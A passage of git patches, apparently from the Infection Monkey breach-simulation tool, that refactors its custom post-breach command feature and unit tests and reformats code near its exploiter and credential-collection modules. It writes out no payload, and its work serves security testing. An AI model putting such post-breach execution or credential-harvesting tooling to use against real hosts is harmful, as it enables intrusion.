-9,13 +9,13 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory from infection_monkey.network import NetworkInterface +from infection_monkey.post_breach.custom_pba import CustomPBA from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter from infection_monkey.utils.timer import Timer -from ..post_breach.custom_pba.custom_pba import CustomPBA from . import Exploiter, IPScanner, Propagator CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index b500fa27f..96f1873bc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -51,7 +51,7 @@ from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs from infection_monkey.post_breach.actions.timestomping import Timestomping from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution from infection_monkey.post_breach.actions.use_trap_command import TrapCommand -from infection_monkey.post_breach.custom_pba.custom_pba import CustomPBA +from infection_monkey.post_breach.custom_pba import CustomPBA from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem diff --git a/monkey/infection_monkey/post_breach/custom_pba/__init__.py b/monkey/infection_monkey/post_breach/custom_pba/__init__.py index e69de29bb..723810fc0 100644 --- a/monkey/infection_monkey/post_breach/custom_pba/__init__.py +++ b/monkey/infection_monkey/post_breach/custom_pba/__init__.py @@ -0,0 +1 @@ +from .custom_pba import CustomPBA From 2e3a718469111dc971f2e1edeb17c574d669f4d7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 15:48:43 +0300 Subject: [PATCH 0962/1110] Agent: Fix custom PBA related unit tests --- .../actions/test_users_custom_pba.py | 149 ++++++++---------- .../monkey_island/cc/services/test_config.py | 19 ++- 2 files changed, 81 insertions(+), 87 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py index e8cdd0333..598f3412b 100644 --- a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py @@ -2,19 +2,20 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.post_breach.custom_pba.users_custom_pba import UsersPBA +from infection_monkey.post_breach.custom_pba.custom_pba import CustomPBA MONKEY_DIR_PATH = "/dir/to/monkey/" CUSTOM_LINUX_CMD = "command-for-linux" CUSTOM_LINUX_FILENAME = "filename-for-linux" CUSTOM_WINDOWS_CMD = "command-for-windows" CUSTOM_WINDOWS_FILENAME = "filename-for-windows" +CUSTOM_SERVER = "10.10.10.10:5000" -@pytest.fixture +@pytest.fixture(autouse=True) def fake_monkey_dir_path(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path", + "infection_monkey.post_breach.custom_pba.custom_pba.get_monkey_dir_path", lambda: MONKEY_DIR_PATH, ) @@ -22,7 +23,7 @@ def fake_monkey_dir_path(monkeypatch): @pytest.fixture def set_os_linux(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + "infection_monkey.post_breach.custom_pba.custom_pba.is_windows_os", lambda: False, ) @@ -30,106 +31,92 @@ def set_os_linux(monkeypatch): @pytest.fixture def set_os_windows(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + "infection_monkey.post_breach.custom_pba.custom_pba.is_windows_os", lambda: True, ) @pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", - CUSTOM_LINUX_FILENAME, - ) - return UsersPBA(MagicMock()) +def fake_custom_pba_linux_options(): + return { + "linux_command": CUSTOM_LINUX_CMD, + "linux_filename": CUSTOM_LINUX_FILENAME, + "windows_command": "", + "windows_filename": "", + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_linux_custom_file_and_cmd( - mock_UsersPBA_linux_custom_file_and_cmd, -): +def test_command_linux_custom_file_and_cmd(fake_custom_pba_linux_options, set_os_linux): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_custom_pba_linux_options) expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}" - assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command + assert pba.command == expected_command + assert pba.filename == CUSTOM_LINUX_FILENAME @pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", - CUSTOM_WINDOWS_FILENAME, - ) - return UsersPBA(MagicMock()) +def fake_custom_pba_windows_options(): + return { + "linux_command": "", + "linux_filename": "", + "windows_command": CUSTOM_WINDOWS_CMD, + "windows_filename": CUSTOM_WINDOWS_FILENAME, + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_windows_custom_file_and_cmd( - mock_UsersPBA_windows_custom_file_and_cmd, -): +def test_command_windows_custom_file_and_cmd(fake_custom_pba_windows_options, set_os_windows): + + pba = CustomPBA(MagicMock()) + pba._set_options(fake_custom_pba_windows_options) expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}" - assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command + assert pba.command == expected_command + assert pba.filename == CUSTOM_WINDOWS_FILENAME @pytest.fixture -def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", - CUSTOM_LINUX_FILENAME, - ) - return UsersPBA(MagicMock()) +def fake_options_files_only(): + return { + "linux_command": "", + "linux_filename": CUSTOM_LINUX_FILENAME, + "windows_command": "", + "windows_filename": CUSTOM_WINDOWS_FILENAME, + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): - expected_command = "" - assert mock_UsersPBA_linux_custom_file.command == expected_command +@pytest.mark.parametrize("os", [set_os_linux, set_os_windows]) +def test_files_only(fake_options_files_only, os): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_files_only) + assert pba.command == "" @pytest.fixture -def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", - CUSTOM_WINDOWS_FILENAME, - ) - return UsersPBA(MagicMock()) +def fake_options_commands_only(): + return { + "linux_command": CUSTOM_LINUX_CMD, + "linux_filename": "", + "windows_command": CUSTOM_WINDOWS_CMD, + "windows_filename": "", + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): - expected_command = "" - assert mock_UsersPBA_windows_custom_file.command == expected_command +def test_commands_only(fake_options_commands_only, set_os_linux): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_commands_only) + assert pba.command == CUSTOM_LINUX_CMD + assert pba.filename == "" -@pytest.fixture -def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD, - ) - monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None) - return UsersPBA(MagicMock()) - - -def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): - expected_command = CUSTOM_LINUX_CMD - assert mock_UsersPBA_linux_custom_cmd.command == expected_command - - -@pytest.fixture -def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD, - ) - monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None) - return UsersPBA(MagicMock()) - - -def test_command_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): - expected_command = CUSTOM_WINDOWS_CMD - assert mock_UsersPBA_windows_custom_cmd.command == expected_command +def test_commands_only_windows(fake_options_commands_only, set_os_windows): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_commands_only) + assert pba.command == CUSTOM_WINDOWS_CMD + assert pba.filename == "" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index ae0a44cdc..b49007eb0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -66,12 +66,6 @@ def test_format_config_for_agent__pbas(flat_monkey_config): "ScheduleJobs": {}, "Timestomping": {}, "AccountDiscovery": {}, - "Custom": { - "linux_command": "bash test.sh", - "windows_command": "powershell test.ps1", - "linux_filename": "test.sh", - "windows_filename": "test.ps1", - }, } ConfigService.format_flat_config_for_agent(flat_monkey_config) @@ -84,6 +78,19 @@ def test_format_config_for_agent__pbas(flat_monkey_config): assert "PBA_windows_filename" not in flat_monkey_config +def test_format_config_for_custom_pbas(flat_monkey_config): + custom_config = { + "linux_command": "bash test.sh", + "windows_command": "powershell test.ps1", + "linux_filename": "test.sh", + "windows_filename": "test.ps1", + "current_server": "10.197.94.72:5000", + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert flat_monkey_config["custom_pbas"] == custom_config + + def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config): expected_creds = { "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], From e855d2ed34758b216246ebda82db2b882d5abb84 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 16:07:14 +0300 Subject: [PATCH 0963/1110] Agent: Remove unused pba properties in config.py --- monkey/infection_monkey/config.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8e9ffce8f..7b8d793cf 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -89,15 +89,6 @@ class Configuration(object): keep_tunnel_open_time = 60 - ########################### - # post breach actions - ########################### - post_breach_actions = [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None - ########################### # testing configuration ########################### From 29a545a58fc7d845fbbd12e28cb80ba1433559c6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 16:37:19 +0300 Subject: [PATCH 0964/1110] Agent: Move the decision if custom pba should run to master --- monkey/infection_monkey/master/automated_master.py | 4 ++-- monkey/infection_monkey/master/option_parsing.py | 13 +++++++++++++ .../post_breach/custom_pba/custom_pba.py | 10 ---------- 3 files changed, 15 insertions(+), 12 deletions(-) create mode 100644 monkey/infection_monkey/master/option_parsing.py diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 88841f401..0ef31129c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -9,7 +9,6 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory from infection_monkey.network import NetworkInterface -from infection_monkey.post_breach.custom_pba import CustomPBA from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -17,6 +16,7 @@ from infection_monkey.utils.threading import create_daemon_thread, interruptible from infection_monkey.utils.timer import Timer from . import Exploiter, IPScanner, Propagator +from .option_parsing import custom_pba_is_enabled CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 @@ -214,7 +214,7 @@ class AutomatedMaster(IMaster): ): self._run_plugins(plugins, "post-breach action", callback) - if CustomPBA.should_run(custom_pba_options): + if custom_pba_is_enabled(custom_pba_options): self._run_plugins([("CustomPBA", custom_pba_options)], "post-breach action", callback) def _run_plugins( diff --git a/monkey/infection_monkey/master/option_parsing.py b/monkey/infection_monkey/master/option_parsing.py new file mode 100644 index 000000000..c35bf6303 --- /dev/null +++ b/monkey/infection_monkey/master/option_parsing.py @@ -0,0 +1,13 @@ +from typing import Dict + +from infection_monkey.utils.environment import is_windows_os + + +def custom_pba_is_enabled(pba_options: Dict) -> bool: + if not is_windows_os(): + if pba_options["linux_command"]: + return True + else: + if pba_options["windows_command"]: + return True + return False diff --git a/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py index 51e9ef7a1..453dfb6ed 100644 --- a/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py @@ -65,16 +65,6 @@ class CustomPBA(PBA): self.download_pba_file(get_monkey_dir_path(), self.filename) return super(CustomPBA, self)._execute_default() - @staticmethod - def should_run(options): - if not is_windows_os(): - if options["linux_filename"] or options["linux_command"]: - return True - else: - if options["windows_filename"] or options["windows_command"]: - return True - return False - def download_pba_file(self, dst_dir, filename): """ Handles post breach action file download From 72984bb3e37ed35d64182e621d5b4948c50b56e9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 16:53:16 +0300 Subject: [PATCH 0965/1110] UT: Fix windows bug in test_t1107_telem.py --- .../infection_monkey/telemetry/attack/test_t1107_telem.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py index 7680191a5..b59471470 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py @@ -6,7 +6,8 @@ import pytest from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -PATH = "path/to/file.txt" +# Convert to path to fix path separators for current os +PATH = str(Path("path/to/file.txt")) STATUS = ScanStatus.USED From 301284f4d08d507646274e559a0b3da5399ef931 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 17:58:13 +0300 Subject: [PATCH 0966/1110] UT: Fix windows bug in test_monkey_log_path.py Bug was happening due to an attempt to delete a file with an unclosed handle --- monkey/infection_monkey/utils/monkey_log_path.py | 4 +++- .../unit_tests/infection_monkey/utils/test_monkey_log_path.py | 1 + 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index b6daa714a..5fdc0b72b 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -1,3 +1,4 @@ +import os import tempfile import time from functools import lru_cache, partial @@ -11,7 +12,8 @@ def _get_log_path(monkey_arg: str) -> Path: prefix = f"infection-monkey-{monkey_arg}-{timestamp}-" suffix = ".log" - _, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) + handle, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) + os.close(handle) return Path(monkey_log_path) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py index 339b0f37a..eb67610ef 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py @@ -2,6 +2,7 @@ import pytest from infection_monkey.utils.monkey_log_path import get_agent_log_path, get_dropper_log_path + def delete_log_file(log_path): if log_path.is_file(): log_path.unlink() From f2b498d3c94f84ad39b022aa227db23948da7cb2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 2 Mar 2022 11:46:41 +0100 Subject: [PATCH 0967/1110] Project: Add upgrade to pipenv in Travis --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 086f059c6..ffc930a38 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ os: linux install: # Python -- pip install pipenv +- pip install pipenv --upgrade # Install island and monkey requirements as they are needed by UT's - pushd monkey/monkey_island - pipenv sync --dev # This installs dependencies from lock From a8c222b610b34bec282315e454365c5baea5b2d6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:42:52 -0400 Subject: [PATCH 0968/1110] Island: Reenable POST_BREACH_PROCESS_LIST_COLLECTION --- .../cc/services/telemetry/processing/post_breach.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 8392d3613..e4f83947e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -28,10 +28,7 @@ def process_process_list_collection_telemetry(telemetry_json, current_monkey): POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER: process_communicate_as_backdoor_user_telemetry, - # TODO: Remove the line below and un-comment the next one after the TODO in `_run_pba()` in - # `automated_master.py` is resolved. - "ProcessListCollection": process_process_list_collection_telemetry, - # POST_BREACH_PROCESS_LIST_COLLECTION: process_process_list_collection_telemetry, + POST_BREACH_PROCESS_LIST_COLLECTION: process_process_list_collection_telemetry, } From 3b4e76299763f51711dcabdc73dbb2cbeccfdb43 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:44:47 -0400 Subject: [PATCH 0969/1110] Agent: Remove unused imports --- monkey/infection_monkey/exploit/tools/helpers.py | 2 +- .../infection_monkey/network_scanning/http_fingerprinter.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 595207f0c..05a15aed7 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath +from pathlib import PurePath, PurePosixPath, PureWindowsPath from typing import Any, Mapping from infection_monkey.model import VictimHost diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index 25e96d4a2..4c738e1ba 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -1,8 +1,8 @@ import logging from contextlib import closing -from typing import Dict, Iterable, Optional, Set, Tuple, Any +from typing import Any, Dict, Iterable, Optional, Set, Tuple -from requests import head, Response +from requests import head from requests.exceptions import ConnectionError, Timeout from infection_monkey.i_puppet import ( From 86cc565b65a6a7262755f2fe2794a521beb0122b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:45:09 -0400 Subject: [PATCH 0970/1110] UT: Remove unused imports --- .../cc/models/telemetries/test_telemetry_dal.py | 3 +-- .../cc/services/zero_trust/test_common/finding_data.py | 6 +----- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index d3582bf79..345522013 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -4,8 +4,7 @@ from datetime import datetime import mongoengine import pytest -from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry -from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.models.telemetries import save_telemetry MOCK_CREDENTIALS = { "M0nk3y": { diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 0304b8523..fd085d6c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -2,11 +2,7 @@ from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_fi get_monkey_details_dto, ) -from common.common_consts.zero_trust_consts import ( - STATUS_FAILED, - STATUS_PASSED, - TEST_ENDPOINT_SECURITY_EXISTS, -) +from common.common_consts.zero_trust_consts import STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding From 53d36a7a0c855a4107e9e7d915b042d7f1de626f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:51:26 -0400 Subject: [PATCH 0971/1110] Common: Format with Black --- monkey/common/utils/exceptions.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 945e35415..5935145e7 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -1,42 +1,42 @@ class FailedExploitationError(Exception): - """ Raise when exploiter fails instead of returning False """ + """Raise when exploiter fails instead of returning False""" class InvalidRegistrationCredentialsError(Exception): - """ Raise when server config file changed and island needs to restart """ + """Raise when server config file changed and island needs to restart""" class AlreadyRegisteredError(Exception): - """ Raise to indicate the reason why registration is not required """ + """Raise to indicate the reason why registration is not required""" class UnknownUserError(Exception): - """ Raise to indicate that authentication failed """ + """Raise to indicate that authentication failed""" class IncorrectCredentialsError(Exception): - """ Raise to indicate that authentication failed """ + """Raise to indicate that authentication failed""" class NoInternetError(Exception): - """ Raise to indicate problems caused when no internet connection is present""" + """Raise to indicate problems caused when no internet connection is present""" class UnknownFindingError(Exception): - """ Raise when provided finding is of unknown type""" + """Raise when provided finding is of unknown type""" class VersionServerConnectionError(Exception): - """ Raise to indicate that connection to version update server failed """ + """Raise to indicate that connection to version update server failed""" class FindingWithoutDetailsError(Exception): - """ Raise when pulling events for a finding, but get none """ + """Raise when pulling events for a finding, but get none""" class DomainControllerNameFetchError(FailedExploitationError): - """ Raise on failed attempt to extract domain controller's name """ + """Raise on failed attempt to extract domain controller's name""" class InvalidConfigurationError(Exception): - """ Raise when configuration is invalid """ + """Raise when configuration is invalid""" From 86b8cf63b9d11d40c8dd3b74f38ad34a598e8f47 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:51:48 -0400 Subject: [PATCH 0972/1110] Agent: Format with Black --- .../mimikatz_collector/mimikatz_credential_collector.py | 1 - .../credential_collectors/ssh_collector/ssh_handler.py | 1 + monkey/infection_monkey/exploit/drupal.py | 4 ++-- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index 0ef75ed1b..1b772580d 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -11,7 +11,6 @@ logger = logging.getLogger(__name__) class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self, options=None) -> Sequence[Credentials]: logger.info("Attempting to collect windows credentials with pypykatz.") creds = pypykatz_handler.get_windows_creds() diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 5dba2bbf3..98ca0df4a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -30,6 +30,7 @@ def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: def _get_home_dirs() -> Iterable[Dict]: import pwd + root_dir = _get_ssh_struct("root", "") home_dirs = [ _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index a0842383e..fec12c5b2 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -145,12 +145,12 @@ class DrupalExploiter(WebRCE): def is_response_cached(r: requests.Response) -> bool: - """ Check if a response had the cache header. """ + """Check if a response had the cache header.""" return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT" def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: - """ Find target articles that do not 404 and are not cached """ + """Find target articles that do not 404 and are not cached""" articles = set() while lower < upper: node_url = urljoin(base_url, str(lower)) From fda0411555ce4370fc5a844f6887840d6b303d6a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:52:53 -0400 Subject: [PATCH 0973/1110] Island: Format with Black --- .../server_utils/encryption/password_based_bytes_encryptor.py | 4 ++-- .../cc/services/attack/technique_reports/__init__.py | 2 +- .../cc/services/attack/technique_reports/pba_technique.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py index dd9ea329f..e28ebf4c8 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py @@ -56,8 +56,8 @@ class PasswordBasedBytesEncryptor(IEncryptor): class InvalidCredentialsError(Exception): - """ Raised when password for decryption is invalid """ + """Raised when password for decryption is invalid""" class InvalidCiphertextError(Exception): - """ Raised when ciphertext is corrupted """ + """Raised when ciphertext is corrupted""" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index e11d6297b..785c0fe27 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -16,7 +16,7 @@ logger = logging.getLogger(__name__) class AttackTechnique(object, metaclass=abc.ABCMeta): - """ Abstract class for ATT&CK report components """ + """Abstract class for ATT&CK report components""" config_schema_per_attack_technique = None diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index c370590d9..18397959b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -7,7 +7,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): - """ Class for ATT&CK report components of post-breach actions """ + """Class for ATT&CK report components of post-breach actions""" @property @abc.abstractmethod From 32a9fe7bf9e10c6177b57e7b6c4ce89fc7aa9ad6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 13:55:35 -0400 Subject: [PATCH 0974/1110] Island: Fix import sorting in credentials.py --- .../cc/services/telemetry/processing/credentials/credentials.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py index 5cb169ae4..25fe5835f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py @@ -1,7 +1,7 @@ from __future__ import annotations from dataclasses import dataclass -from typing import Sequence, Mapping, Any +from typing import Any, Mapping, Sequence @dataclass(frozen=True) From eae96c19b1519b624c01277c5f11a9f67df678e1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 31 Mar 2022 12:18:44 +0300 Subject: [PATCH 0975/1110] Agent: Handle pypykatz permission error --- .../mimikatz_collector/pypykatz_handler.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py 